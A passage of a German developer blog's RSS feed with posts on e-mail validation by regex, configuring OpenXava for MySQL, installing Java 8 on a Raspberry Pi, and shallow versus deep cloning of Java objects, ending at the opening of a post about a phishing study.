  299. static final String[] NOT_EXTRACTED_MAILS = { "nonumy@eirmod", "Stet@clita", "Lorem@ipsum." };
  300.  
  301. public String TestText() {
  302. return new String("Lorem ipsum dolor sit amet, consetetur grid@yahoo.com "
  303. + "elitr, sed diam nonumy@eirmod tempor invidunt ut grid666@mt2015.com labore et dolore magna aliquyam "
  304. + "erat, sed diam voluptua. At vero eos et accusam et grid@gmx.com.com justo duo dolores et ea rebum. Stet@clita "
  305. + "kasd gubergren, no sea takimata sanctus est Lorem@ipsum.");
  306. }
  307.  
  308. @Test
  309. public final void testNotFound() {
  310. System.out.println("Nicht Gefundene E-Mail´s :");
  311. for (String temp : NOT_EXTRACTED_MAILS) {
  312. Assert.assertEquals(MailExtractor.getMatchedValues(TestText()).contains(temp), false);
  313. System.out.println(temp);
  314. }
  315. }
  316.  
  317. @Test
  318. public final void testFound() {
  319. System.out.println("Gefundene E-Mail´s :");
  320. for (String temp : EXTRACTED_MAILS) {
  321. Assert.assertEquals(MailExtractor.getMatchedValues(TestText()).contains(temp), true);
  322. System.out.println(temp);
  323. }
  324. }
  325. }
  326.  
  327. // Ausgabe
  328. // Gültige E-Mail´s :
  329. // grid@yahoo.com
  330. // 'grid-2015@yahoo.com
  331. // grid.2015@yahoo.com
  332. // grid666@mt2015.com
  333. // grid-999@gridtec.at
  334. // grid.9000@mail.or.at
  335. // grid@3.com
  336. // grid@gmx.com.com
  337. // grid+123@yahoo.com
  338. // grid-tec+2015@google-test.com
  339. //
  340. // Ungültige E-Mail :
  341. // gridtec
  342. // grid@.test.at
  343. // grid-tec@gmx.a
  344. // gridtec123@.de
  345. // .my.grid123@.de.vu
  346. // .gridg@tec.com
  347. // grid()*@mt2012.com
  348. // grid@%*.org
  349. // grid..2015@gmail.com
  350. // grid.@tec.at
  351. // grid@grid@gmail.com
  352. // grid@gmx.net.1a</pre><p></p> <h3>Quellen</h3> <p><a href="http://de.wikipedia.org/wiki/Regul%C3%A4rer_Ausdruck" target="_blank">Wikipedia Regular Expressions</a></p> <p><a href="http://de.wikipedia.org/wiki/Pattern_Matching" target="_blank">Wikipedia Pattern Matching</a></p> <p><a href="http://www.kompf.de/java/regex.html" target="_blank">Java RegEx</a></p> <p><a href="http://de.wikipedia.org/wiki/E-Mail" target="_blank">Wikipedia E-Mail</a></p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/e-mail-validierung-und-extraktion-mittels-regex/">E-Mail Validierung und Extraktion mittels Regex</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  353. ]]>
  354. </content:encoded>
  355. <wfw:commentRss>
  356. http://www.gridtec.at/wp/e-mail-validierung-und-extraktion-mittels-regex/feed/
  357. </wfw:commentRss>
  358. <slash:comments>0</slash:comments>
  359. </item>
  360. <item>
  361. <title>
  362. OpenXava für MySQL oder andere Datenbanken konfigurieren
  363. </title>
  364. <link>
  365. http://www.gridtec.at/wp/openxava-fuer-mysql-oder-andere-datenbanken-konfigurieren/
  366. </link>
  367. <comments>
  368. http://www.gridtec.at/wp/openxava-fuer-mysql-oder-andere-datenbanken-konfigurieren/#comments
  369. </comments>
  370. <pubDate>Tue, 28 Apr 2015 22:04:09 +0000</pubDate>
  371. <dc:creator>
  372. <![CDATA[ Robert Gludovatz ]]>
  373. </dc:creator>
  374. <category>
  375. <![CDATA[ Java ]]>
  376. </category>
  377. <category>
  378. <![CDATA[ Datenbank ]]>
  379. </category>
  380. <category>
  381. <![CDATA[ DB2 ]]>
  382. </category>
  383. <category>
  384. <![CDATA[ Hibernate ]]>
  385. </category>
  386. <category>
  387. <![CDATA[ java ]]>
  388. </category>
  389. <category>
  390. <![CDATA[ MySQL ]]>
  391. </category>
  392. <category>
  393. <![CDATA[ OpenXava ]]>
  394. </category>
  395. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=291</guid>
  396. <description>
  397. <![CDATA[
  398. <p>OpenXava Das quelloffene Framework OpenXava ermöglicht es Entwickler, schnell und einfach Business Webanwendungen zu erstellen. Anhand Datenstruktur, Businesslogik und Anzeigeinformationen wird automatisch eine Benutzeroberfläche generiert. Standardmäßig ist OpenXava für HyperSQL Datenbanken konfiguriert. Im nachfolgenden Artikel wird beschrieben, welche Schritte nötig sind, um OpenXava mit anderen Datenbanken zu verwenden. OpenXava für MySQL oder andere Datenbank konfigurieren Neues Projekt [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/openxava-fuer-mysql-oder-andere-datenbanken-konfigurieren/">OpenXava für MySQL oder andere Datenbanken konfigurieren</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  399. ]]>
  400. </description>
  401. <content:encoded>
  402. <![CDATA[
  403. <h1>OpenXava</h1> <p>Das quelloffene Framework OpenXava ermöglicht es Entwickler, schnell und einfach Business Webanwendungen zu erstellen. Anhand Datenstruktur, Businesslogik und Anzeigeinformationen wird automatisch eine Benutzeroberfläche generiert. Standardmäßig ist OpenXava für HyperSQL D
  404. ]]>
  405. <![CDATA[
  406. atenbanken konfiguriert. Im nachfolgenden Artikel wird beschrieben, welche Schritte nötig sind, um OpenXava mit anderen Datenbanken zu verwenden.</p> <p><span id="more-291"></span></p> <h3>OpenXava für MySQL oder andere Datenbank konfigurieren</h3> <h4>Neues Projekt</h4> <p>Zunächst öffnet man
  407. ]]>
  408. <![CDATA[
  409. mit Eclipse den Workspace, welcher mit OpenXava ausgeliefert wird. Nun erstellt man ein neues Java Projekt. Im Projekt <em>OpenXavaTemplate</em> befindet sich die <em>CreateNewProject.xml</em>. Diese führt man als <a href="http://ant.apache.org/">Ant</a> Build aus. Wenn Ant nach den Projektnamen fragt, gibt man den Namen des zuvor erstellten Java Projekts ein. Eine ausführliche Anleitung kann direkt bei <a href="http://openxava.wikispaces.com/my-first-ox-project_en">OpenXava</a> gefunden werden.</p> <p>Das neue Projekt ist nun einsatzbereit. Zunächst muss jedoch die Datenbank eingestellt werden.</p> <h4>Datenbank und Konfiguration</h4> <p>Standardmäßig ist OpenXava für HyperSQL Datenbanken konfiguriert. Um eine andere Datenbank zu verwenden, benötigt man zunächst den passenden JDBC Treiber (z.B.: “<em>mysql-connector-java-5.1.22-bin.jar</em>“ für MySQL, “<em>db2jcc.jar</em>“ für IBM DB2, etc.).</p> <p>Diese wird in folgende Ordner kopiert:</p><pre class="crayon-plain-tag">/tomcat/lib
  410. /workspace/OpenXavaTest/lib</pre><p>In die <em>context.xml</em> im Ordner<em> /tomcat/conf/</em> muss folgendes hinzugefügt werden:</p><pre class="crayon-plain-tag">&lt;Resource name="jdbc/ResourceDS" auth="Container" type="javax.sql.DataSource"
  411. maxActive="20" maxIdle="5" maxWait="10000"
  412. username="root" password="123root" driverClassName="com.mysql.jdbc.Driver"
  413. url="jdbc:mysql://localhost:3306/database"/&gt;</pre><p><span style="line-height: 1.5;">Desweiteren wird die <em>build.xml</em> Im Projektordner wird der “target“-Tag mit dem Namen <em>updateSchema</em> wie abgebildet abgeändert, damit <em>schema.path</em> zu dem zuvor kopierten JDBC Trieber zeigt. In diesem Beispiel handelt es sich um den MySQL Connector im <em>OpenXavaTest/lib</em> Ordner.</span></p><pre class="crayon-plain-tag">&lt;target name="updateSchema"&gt;
  414. &lt;ant antfile="../OpenXava/build.xml" target="updateSchemaJPA"&gt;
  415. &lt;property name="persistence.unit" value="junit"/&gt;
  416. &lt;property name="schema.path" value="../OpenXavaTest/lib/mysql-connector-java-5.1.22-bin.jar"/&gt;
  417. &lt;/ant&gt;
  418. &lt;/target&gt;</pre><p>Im Projekt unter <em>/persistence/META-INF/</em> wird die Datei persistence.xml wie folgt geändert:</p><pre class="crayon-plain-tag">&lt;persistence-unit name="default"&gt;
  419. &lt;provider&gt;org.hibernate.ejb.HibernatePersistence&lt;/provider&gt;
  420. &lt;non-jta-data-source&gt;java:comp/env/jdbc/ResourceDS&lt;/non-jta-data-source&gt;
  421. &lt;class&gt;org.openxava.session.GalleryImage&lt;/class&gt;
  422. &lt;properties&gt;
  423. &lt;property name="hibernate.dialect" value="org.hibernate.dialect.MySQLDialect"/&gt;
  424. &lt;/properties&gt;
  425. &lt;/persistence-unit&gt;
  426.  
  427. &lt;persistence-unit name="junit"&gt;
  428. &lt;provider&gt;org.hibernate.ejb.HibernatePersistence&lt;/provider&gt;
  429. &lt;properties&gt;
  430. &lt;property name="hibernate.connection.driver_class" value="com.mysql.jdbc.Driver"/&gt;
  431. &lt;property name="hibernate.dialect" value="org.hibernate.dialect.MySQLDialect"/&gt;
  432. &lt;property name="hibernate.connection.url" value="jdbc:mysql://localhost:3306/academydb"/&gt;
  433. &lt;/properties&gt;
  434. &lt;/persistence-unit&gt;</pre><p>Die hibernate.cfg.xml im Ordner <em>/persistence</em> des Projektes wird die Property “hibernate.dialect“ wie folgt geändert:</p><pre class="crayon-plain-tag">&lt;property name="hibernate.connection.datasource"&gt;java:comp/env/jdbc/ResourceDS&lt;/property&gt;
  435. &lt;property name="hibernate.dialect"&gt;org.hibernate.dialect.MySQLDialect&lt;/property&gt;
  436. &lt;property name="hibernate.jdbc.use_get_generated_keys"&gt;false&lt;/property&gt;
  437. &lt;property name="hibernate.show_sql"&gt;false&lt;/property&gt;</pre><p>Für eine Verbindung zu einer IBM DB2 Datenbank würde die besagt Zeile folgendermaßen aussehen:</p><pre class="crayon-plain-tag">&lt;property name="hibernate.connection.driver_class"&gt;com.ibm.db2.jcc.DB2Driver&lt;/property&gt;</pre><p>Und alle Properties mit dem Namen “<em>hibernate.dialect</em>“ müssten folglich angepasst werden:</p><pre class="crayon-plain-tag">&lt;property name="hibernate.dialect"&gt;org.hibernate.dialect.DB2Dialect&lt;/property&gt;</pre><p>Nun kann <em>updateSchema</em> mittels Ant ausgeführt werden. Damit wird die war-Datei in den /<em>tomcat/webapps/</em> Ordner entpackt und es kann auf die Datenbank zugegriffen werden.</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/openxava-fuer-mysql-oder-andere-datenbanken-konfigurieren/">OpenXava für MySQL oder andere Datenbanken konfigurieren</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  438. ]]>
  439. </content:encoded>
  440. <wfw:commentRss>
  441. http://www.gridtec.at/wp/openxava-fuer-mysql-oder-andere-datenbanken-konfigurieren/feed/
  442. </wfw:commentRss>
  443. <slash:comments>0</slash:comments>
  444. </item>
  445. <item>
  446. <title>
  447. Java 8 auf dem Raspberry Pi installieren und testen
  448. </title>
  449. <link>
  450. http://www.gridtec.at/wp/java-8-auf-dem-raspberry-pi-installieren-und-testen/
  451. </link>
  452. <comments>
  453. http://www.gridtec.at/wp/java-8-auf-dem-raspberry-pi-installieren-und-testen/#comments
  454. </comments>
  455. <pubDate>Tue, 28 Apr 2015 22:01:08 +0000</pubDate>
  456. <dc:creator>
  457. <![CDATA[ Robert Gludovatz ]]>
  458. </dc:creator>
  459. <category>
  460. <![CDATA[ Java ]]>
  461. </category>
  462. <category>
  463. <![CDATA[ Raspberry Pi ]]>
  464. </category>
  465. <category>
  466. <![CDATA[ installieren ]]>
  467. </category>
  468. <category>
  469. <![CDATA[ java ]]>
  470. </category>
  471. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=257</guid>
  472. <description>
  473. <![CDATA[
  474. <p>Java 8 auf dem Raspberry Pi Dank Android gibt es Millionen von Smartphones die Java verwenden. Gleichzeitig wird jeder Blu-ray Player der Welt mit Java ausgeliefert. Letzten Endes steht Java auch für den Raspberry Pi zur Verfügung und hat Einzug in das Repository der Rasperry Pi Foundation gefunden. Die Kompatibilität zu Oracle Java bedeutet eine bessere [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/java-8-auf-dem-raspberry-pi-installieren-und-testen/">Java 8 auf dem Raspberry Pi installieren und testen</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  475. ]]>
  476. </description>
  477. <content:encoded>
  478. <![CDATA[
  479. <h1>Java 8 auf dem Raspberry Pi</h1> <p>Dank Android gibt es Millionen von Smartphones die Java verwenden. Gleichzeitig wird jeder Blu-ray Player der Welt mit Java ausgeliefert. Letzten Endes steht Java auch für den Raspberry Pi zur Verfügung und hat Einzug in das Repository der Rasperry Pi Found
  480. ]]>
  481. <![CDATA[
  482. ation gefunden.</p> <p>Die Kompatibilität zu Oracle Java bedeutet eine bessere Performance gegenüber dem bereits vorhandenen OpenJDK. Auf Raspian-Images ist nun Oracle Java vorinstalliert, alternativ kann das Programmpaket auch über die Kommandozeile nachinstalliert werden.</p> <p>Der einfachste
  483. ]]>
  484. <![CDATA[
  485. Weg um Java auf dem Raspberry zu installieren ist folgender Befehl:</p><pre class="crayon-plain-tag">sudo apt-get update &amp;&amp; sudo apt-get install oracle-java8-jdk</pre><p></p> <h3>Alternative Installation</h3> <p>Sollte dies, aus welchen Gründen auch immer, nicht funktionieren, steht noch di
  486. ]]>
  487. <![CDATA[
  488. e manuelle Installation zur Verfügung.</p> <p>Zuerst empfiehlt es sich, ein Update auszuführen und neuzustarten.</p><pre class="crayon-plain-tag">sudo apt-get update &amp;&amp; sudo apt-get upgrade &amp;&amp; sudo apt-get clean
  489. sudo rpi-update
  490. sudo reboot</pre><p></p> <h4>Download</h4> <p>Zunäc
  491. ]]>
  492. <![CDATA[
  493. hst lädt man sich das Java 8 JDK &#8220;Hard Float ABI&#8221; für ARM-Prozessoren von <a href="http://www.oracle.com/technetwork/java/javase/downloads/jdk8-arm-downloads-2187472.html">hier</a> herunter.</p> <p>Mittels SCP kopiert man nun die heruntergelade Datei auf den Raspberry.</p><pre class="crayon-plain-tag">scp jdk-8-linux-arm-vfp-hflt.tar.gz root@192.0.0.0:/root</pre><p>Alternativ dazu bietet es sich an, die Datei mittels WinSCP einfach per Drag &amp; Drop auf den Raspberry zu kopieren.</p> <p>Danach wechselt man auf den Raspberry und entpackt das kopierte Archiv nach /opt.</p><pre class="crayon-plain-tag">sudo tar xvzf jdk-8-linux-arm-vfp-hflt.gz -C /opt</pre><p></p> <h4>Installation</h4> <p>Nun kann Java aktiviert werden. Nach Ausführung der folgenden Befehle wählt man jeweils die Installation im /opt Verzeichnis aus:</p><pre class="crayon-plain-tag">sudo update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_33/bin/javac 1
  494. sudo update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_0_33/bin/java 1</pre><p>Nun nur noch der letzte Befehl:</p><pre class="crayon-plain-tag">sudo update-alternatives --config java
  495. sudo update-alternatives --config javac</pre><p>Java 8 wurde Erfolgreich auf dem Raspberry Pi installiert und konfiguriert.</p> <p>Das zuvor heruntergeladene Archiv kann nun gelöscht werden.</p><pre class="crayon-plain-tag">rm jdk-8-linux-arm-vfp-hflt.tar.gz</pre><p>Nun kann noch kontrolliert werden, ob die Installation wirklich geklappt hat:</p><pre class="crayon-plain-tag">java -version
  496. javac -version</pre><p>Die Ausgabe von Version 1.8 bestätigt dass Java 8 erfolgreich installiert wurde.</p> <h3>Hello World</h3> <p>Nun kann das erste &#8220;Hello World&#8221; Programm geschrieben werden.</p><pre class="crayon-plain-tag">nano Hello.java</pre><p>Dabei muss darauf geachtet werden, dass &#8220;Hello.java&#8221; mit großem &#8220;H&#8221; geschrieben wird. Folgender Code kann in diese Klasse abgeschrieben beziehungsweise kopiert werden.</p><pre class="crayon-plain-tag">public class Hello {
  497. public static void main(String[] args) {
  498. System.out.println("Hello Gridtec!");
  499. }
  500. }</pre><p>Der Klassenname muss dabei den selben haben, wie der Dateiname. Dies erleichter auch die Suche nach Klassen bei großen Programmen.</p> <p>Nun wird dieses kleine Programm kompiliert.</p><pre class="crayon-plain-tag">javac Hello.java</pre><p>Wenn der Kompiliervorgang erfolgreich war, werden keine Fehler und Warnungen angezeigt. <span style="line-height: 1.5;">Um das Programm auszuführen wird nachstehender Befehl ausgeführt:</span></p><pre class="crayon-plain-tag">java Hello</pre><p>Als Ausgabe sollte nun &#8220;<em>Hello Gridtec!</em>&#8221; zu lesen sein.</p> <h3>Quellen</h3> <p><a title="Oracle JDK8 ARM Technet" href="http://www.oracle.com/technetwork/java/javase/downloads/jdk8-arm-downloads-2187472.html" target="_blank">Oracle JDK8 ARM Technet</a><br /> <a title="Oracle Raspberry Pi Technet" href="http://www.oracle.com/technetwork/articles/java/raspberrypi-1704896.html">Oracle Raspberry Pi Technet</a><br /> <a title="eLinux Raspberry JDK" href="http://elinux.org/RPi_Java_JDK_Installation" target="_blank">eLinux Raspberry JDK</a></p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/java-8-auf-dem-raspberry-pi-installieren-und-testen/">Java 8 auf dem Raspberry Pi installieren und testen</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  501. ]]>
  502. </content:encoded>
  503. <wfw:commentRss>
  504. http://www.gridtec.at/wp/java-8-auf-dem-raspberry-pi-installieren-und-testen/feed/
  505. </wfw:commentRss>
  506. <slash:comments>0</slash:comments>
  507. </item>
  508. <item>
  509. <title>
  510. Java Objekt clone – shallow vs. deep Beispiel und Alternativen
  511. </title>
  512. <link>
  513. http://www.gridtec.at/wp/clonen-von-java-objekten-shallow-vs-deep-beispiel-und-alternativen/
  514. </link>
  515. <comments>
  516. http://www.gridtec.at/wp/clonen-von-java-objekten-shallow-vs-deep-beispiel-und-alternativen/#comments
  517. </comments>
  518. <pubDate>Sun, 19 Apr 2015 14:42:52 +0000</pubDate>
  519. <dc:creator>
  520. <![CDATA[ Robert Gludovatz ]]>
  521. </dc:creator>
  522. <category>
  523. <![CDATA[ Java ]]>
  524. </category>
  525. <category>
  526. <![CDATA[ beispiel ]]>
  527. </category>
  528. <category>
  529. <![CDATA[ Clone ]]>
  530. </category>
  531. <category>
  532. <![CDATA[ deep copy ]]>
  533. </category>
  534. <category>
  535. <![CDATA[ java ]]>
  536. </category>
  537. <category>
  538. <![CDATA[ shallow copy ]]>
  539. </category>
  540. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=150</guid>
  541. <description>
  542. <![CDATA[
  543. <p>Clonen von Java Objekten Die clone() Methode führt eine flache Kopie (shallow copy) eines Objekts durch. Das bedeutet, dass zwar primitive Felder kopiert werden, aber Objekte innerhalb des geklonten Objekts nicht. Vielmehr zeigen die Verweise in dem neuen Objekt auf die Objekte, die auch scho
  544. ]]>
  545. <![CDATA[
  546. n von dem ursprünglichen Objekt referenziert wurden. Dies kann manchmal zu unerwarteten Ergebnissen führen. [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/clonen-von-java-objekten-shallow-vs-deep-beispiel-und-alternativen/">Java Objekt clone &#8211; shallow vs. deep Beispiel und Alternativen</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  547. ]]>
  548. </description>
  549. <content:encoded>
  550. <![CDATA[
  551. <h1>Clonen von Java Objekten</h1> <p>Die <em>clone() </em>Methode führt eine flache Kopie (shallow copy) eines Objekts durch. Das bedeutet, dass zwar primitive Felder kopiert werden, aber Objekte innerhalb des geklonten Objekts nicht. Vielmehr zeigen die Verweise in dem neuen Objekt auf die Obje
  552. ]]>
  553. <![CDATA[
  554. kte, die auch schon von dem ursprünglichen Objekt referenziert wurden. Dies kann manchmal zu unerwarteten Ergebnissen führen. Deshalb kann es vorkommen, dass eine tiefe Kopie (deep copy) eines Objekts erforderlich ist. Bei dieser zeigen die Referenzen zwar auf Objekte der ursprüngliche Klasse, d
  555. ]]>
  556. <![CDATA[
  557. iese Referenzen zeigen jedoch auf neue Objekte. Somit wurden diese und deren Werte kopiert.</p> <h3>Beispiel</h3> <p>Anhand folgendem Beispiels, indem &#8220;Schafe&#8221; geklont werden, wird dieses Problem näher demonstriert.<br /> Dazu wird eine Klasse <em>Sheep</em> erstellt, welche <em>Cloneable</em> (für shallow copy) und <em>Serializable</em> (für deep copy) implementiert und eine Klasse <em>Attribute</em>, welche die Eigenschaften eines Schafes hält.</p> <p>Am Ende des Artikels können die kompletten Klassen betrachtet werden.</p><pre class="crayon-plain-tag">public class Sheep implements Serializable, Cloneable {
  558.  
  559. private String name;
  560. private Attribute attribute;
  561.  
  562. //getter, setter, toString, ...</pre><p>und</p><pre class="crayon-plain-tag">public class Attribute implements Serializable {
  563.  
  564. private String attributeName;
  565.  
  566. //getter, setter, toString, ...</pre><p>Um eine &#8220;deep copy&#8221; durchzuführen wird noch folgende Klasse implementiert:</p><pre class="crayon-plain-tag">package at.grid.blog.deep.copy.example;
  567.  
  568. import java.io.*;
  569.  
  570. public class ObjectCloner {
  571.  
  572. public static Object deepCopy(Object oldObj) throws IOException, ClassNotFoundException {
  573.  
  574. ObjectOutputStream oos = null;
  575. ObjectInputStream ois = null;
  576. Object newObject = null;
  577. try {
  578. ByteArrayOutputStream bos = new ByteArrayOutputStream();
  579. oos = new ObjectOutputStream(bos);
  580. oos.writeObject(oldObj);
  581. oos.flush();
  582. ByteArrayInputStream bin = new ByteArrayInputStream(bos.toByteArray());
  583. ois = new ObjectInputStream(bin);
  584. newObject = ois.readObject();
  585. } finally {
  586. oos.close();
  587. ois.close();
  588. }
  589. return newObject;
  590. }
  591. }</pre><p>Nun wird ein neues Schaf-Objekt erstellt und mit einem Attribute-Objekt versehen.</p><pre class="crayon-plain-tag">Sheep sheep = new Sheep("Dolly");
  592. sheep.setAttribute(new Attribute("Rot"));</pre><p>Das Schaf-Objekt wird nun mit der implementierten <em>clone() </em>Methode und mit der selbst implementierten Methode geklont.</p><pre class="crayon-plain-tag">Sheep shallowCopy = (Sheep) sheep.clone();
  593. Sheep deepCopy = (Sheep) ObjectCloner.deepCopy(sheep);</pre><p>Das originale Schaf-Objekt wird modifiziert, indem der Name und die Eigenschaft geändert werden.</p><pre class="crayon-plain-tag">sheep.setName("Molly");
  594. sheep.getAttribute().setAttrName("Blau");</pre><p>Nun lässt man sich die drei Objekte ausgeben:</p><pre class="crayon-plain-tag">System.out.println("Original Schaf");
  595. System.out.println("Name: "+sheep.toString());
  596. System.out.println("Eigenschaft: "+sheep.getAttribute().toString());
  597. System.out.println("ShallowCopy");
  598. System.out.println("Name: "+shallowCopy.toString());
  599. System.out.println("Eigenschaft: "+shallowCopy.getAttribute().toString());
  600. System.out.println("DeepCopy");
  601. System.out.println("Name: "+deepCopy.toString());
  602. System.out.println("Eigenschaft: "+deepCopy.getAttribute().toString());
  603.  
  604. //Ausgabe:
  605. //
  606. //Original Schaf
  607. //Name: Molly
  608. //Eigenschaft: Blau
  609. //ShallowCopy
  610. //Name: Dolly
  611. //Eigenschaft: Blau
  612. //DeepCopy
  613. //Name: Dolly
  614. //Eigenschaft: Rot</pre><p>Es fällt auf, dass die geklonten Objekte noch den alten Namen haben, bevor dieser beim originalen Objekt geändert wurde. Jedoch hat das Objekt, welches mit der <em>clone() </em>Methode kopiert wurde, auch die Änderung an dem Attribute-Objekt übernommen. Wie Anfangs erwähnt, wurde dieses Objekt nämlich nicht mitgeklont, sondern nur die Referenz auf das Originale gesetzt.</p> <p>Es empfiehlt sich daher, bei der Verwendung von geklonten Objekten, diese mit Unit-Tests zu überprüfen!</p> <h3>Alternativen</h3> <p>Wer das Rad nicht neu erfinden möchte, kann auch auf die Apache Commons Library zurückgreifen.</p><pre class="crayon-plain-tag">Object clonedObj = org.apache.commons.lang.SerializationUtils.clone(origObject);</pre><p>Diese benötigt jedoch auch ein Objekt, welches <em>Serializable</em> implementiert.</p> <p>Was tun, wenn die Klasse, welche geklont werden soll, nicht <em>Serializable</em> implementiert und dessen Quellcode nicht geändert werden kann? Die kleine, aber feine Library &#8220;<a href="http://code.google.com/p/cloning/" target="_blank">cloning</a>&#8221; kann jedes Objekt mit ihrer <em>deepClone() </em>Methode klonen. Sie benutzt dafür Reflection und ist leicht anwendbar, wie der folgende Code verdeutlicht:</p><pre class="crayon-plain-tag">Cloner cloner = new Cloner();
  615. Object clonedObj = cloner.deepClone(origObject);</pre><p>Hier noch das komplette Beispiel:</p> <p>CloneDemo.java</p><pre class="crayon-plain-tag">package at.grid.blog.deep.copy.example;
  616.  
  617. public class CloneDemo {
  618.  
  619. public static void main(String[] args) throws Exception {
  620.  
  621. Sheep sheep = new Sheep("Dolly");
  622. sheep.setAttribute(new Attribute("Rot"));
  623.  
  624. Sheep shallowCopy = (Sheep) sheep.clone();
  625. Sheep deepCopy = (Sheep) ObjectCloner.deepCopy(sheep);
  626.  
  627. sheep.setName("Molly");
  628. sheep.getAttribute().setAttrName("Blau");
  629.  
  630. System.out.println("Original Schaf");
  631. System.out.println("Name: " + sheep.toString());
  632. System.out.println("Eigenschaft: " + sheep.getAttribute().toString());
  633. System.out.println("ShallowCopy");
  634. System.out.println("Name: " + shallowCopy.toString());
  635. System.out.println("Eigenschaft: " + shallowCopy.getAttribute().toString());
  636. System.out.println("DeepCopy:");
  637. System.out.println("Name: " + deepCopy.toString());
  638. System.out.println("Eigenschaft: " + deepCopy.getAttribute().toString());
  639. }
  640. }</pre><p>ObjectCloner.java</p><pre class="crayon-plain-tag">package at.grid.blog.deep.copy.example;
  641.  
  642. import java.io.*;
  643.  
  644. public class ObjectCloner {
  645.  
  646. public static Object deepCopy(Object oldObj) throws IOException, ClassNotFoundException {
  647.  
  648. ObjectOutputStream oos = null;
  649. ObjectInputStream ois = null;
  650. Object newObject = null;
  651. try {
  652. ByteArrayOutputStream bos = new ByteArrayOutputStream();
  653. oos = new ObjectOutputStream(bos);
  654. oos.writeObject(oldObj);
  655. oos.flush();
  656. ByteArrayInputStream bin = new ByteArrayInputStream(bos.toByteArray());
  657. ois = new ObjectInputStream(bin);
  658. newObject = ois.readObject();
  659. } finally {
  660. oos.close();
  661. ois.close();
  662. }
  663. return newObject;
  664. }
  665. }</pre><p>Sheep.java</p><pre class="crayon-plain-tag">package at.grid.blog.deep.copy.example;
  666.  
  667. import java.io.Serializable;
  668.  
  669. public class Sheep implements Serializable, Cloneable {
  670.  
  671. private static final long serialVersionUID = 1L;
  672. private String name;
  673.  
  674. private Attribute attribute;
  675.  
  676. public Sheep(String name) {
  677. this.name = name;
  678. }
  679.  
  680. public void setName(String name) {
  681. this.name = name;
  682. }
  683.  
  684. public String getName() {
  685. return this.name;
  686. }
  687.  
  688. public String toString() {
  689. return name;
  690. }
  691.  
  692. public Attribute getAttribute() {
  693. return attribute;
  694. }
  695.  
  696. public void setAttribute(Attribute atr) {
  697. this.attribute = atr;
  698. }
  699.  
  700. @Override
  701. protected Object clone() throws CloneNotSupportedException {
  702. return super.clone();
  703. }
  704.  
  705. }</pre><p>Attribute.java</p><pre class="crayon-plain-tag">package at.grid.blog.deep.copy.example;
  706.  
  707. import java.io.Serializable;
  708.  
  709. public class Attribute implements Serializable {
  710.  
  711. private static final long serialVersionUID = 1L;
  712. private String attributeName;
  713.  
  714. public Attribute(String name) {
  715. this.attributeName = name;
  716. }
  717.  
  718. public void setAttrName(String name) {
  719. this.attributeName = name;
  720. }
  721.  
  722. public String toString() {
  723. return attributeName;
  724. }
  725.  
  726. }</pre><p>&nbsp;</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/clonen-von-java-objekten-shallow-vs-deep-beispiel-und-alternativen/">Java Objekt clone &#8211; shallow vs. deep Beispiel und Alternativen</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  727. ]]>
  728. </content:encoded>
  729. <wfw:commentRss>
  730. http://www.gridtec.at/wp/clonen-von-java-objekten-shallow-vs-deep-beispiel-und-alternativen/feed/
  731. </wfw:commentRss>
  732. <slash:comments>0</slash:comments>
  733. </item>
  734. <item>
  735. <title>Phishing Studie und der Selbsttest</title>
  736. <link>
  737. http://www.gridtec.at/wp/phishing-studie-und-der-selbsttest/
  738. </link>
  739. <comments>
  740. http://www.gridtec.at/wp/phishing-studie-und-der-selbsttest/#comments
  741. </comments>
  742. <pubDate>Sun, 19 Apr 2015 14:42:37 +0000</pubDate>
  743. <dc:creator>
  744. <![CDATA[ Robert Gludovatz ]]>
  745. </dc:creator>
  746. <category>
  747. <![CDATA[ Security ]]>
  748. </category>
  749. <category>
  750. <![CDATA[ phishing ]]>
  751. </category>
  752. <category>
  753. <![CDATA[ security ]]>
  754. </category>
  755. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=158</guid>
  756. <description>
  757. <![CDATA[
  758. <p>Phishing Studie von Google Einer Studie von Google zufolge fallen 14 Prozent der Benutzer auf Phishing-Webseiten herein und hinterlassen dort ihre Daten. Bei besonders gut gefälschten Webseiten und E-Mails erwischt es sogar knapp 45 Prozent der Benutzer. Phishing Als &#8220;Phishing&#8221; werden Tricks bezeichnet, um Identitätsdiebstahl an ahnungslosen Internetnutzern zu begehen. Für diese Art des Social [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/phishing-studie-und-der-selbsttest/">Phishing Studie und der Selbsttest</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  759. ]]>
  760. </description>
  761. <content:encoded>
  762. <![CDATA[
  763. <h1>Phishing Studie von Google</h1> <p>Einer Studie von Google zufolge fallen 14 Prozent der Benutzer auf Phishing-Webseiten herein und hinterlassen dort ihre Daten. Bei besonders gut gefälschten Webseiten und E-Mails erwischt es sogar knapp 45 Prozent der Benutzer.</p> <h3>Phishing</h3> <p>Als &#8
  764. ]]>
  765. <![CDATA[
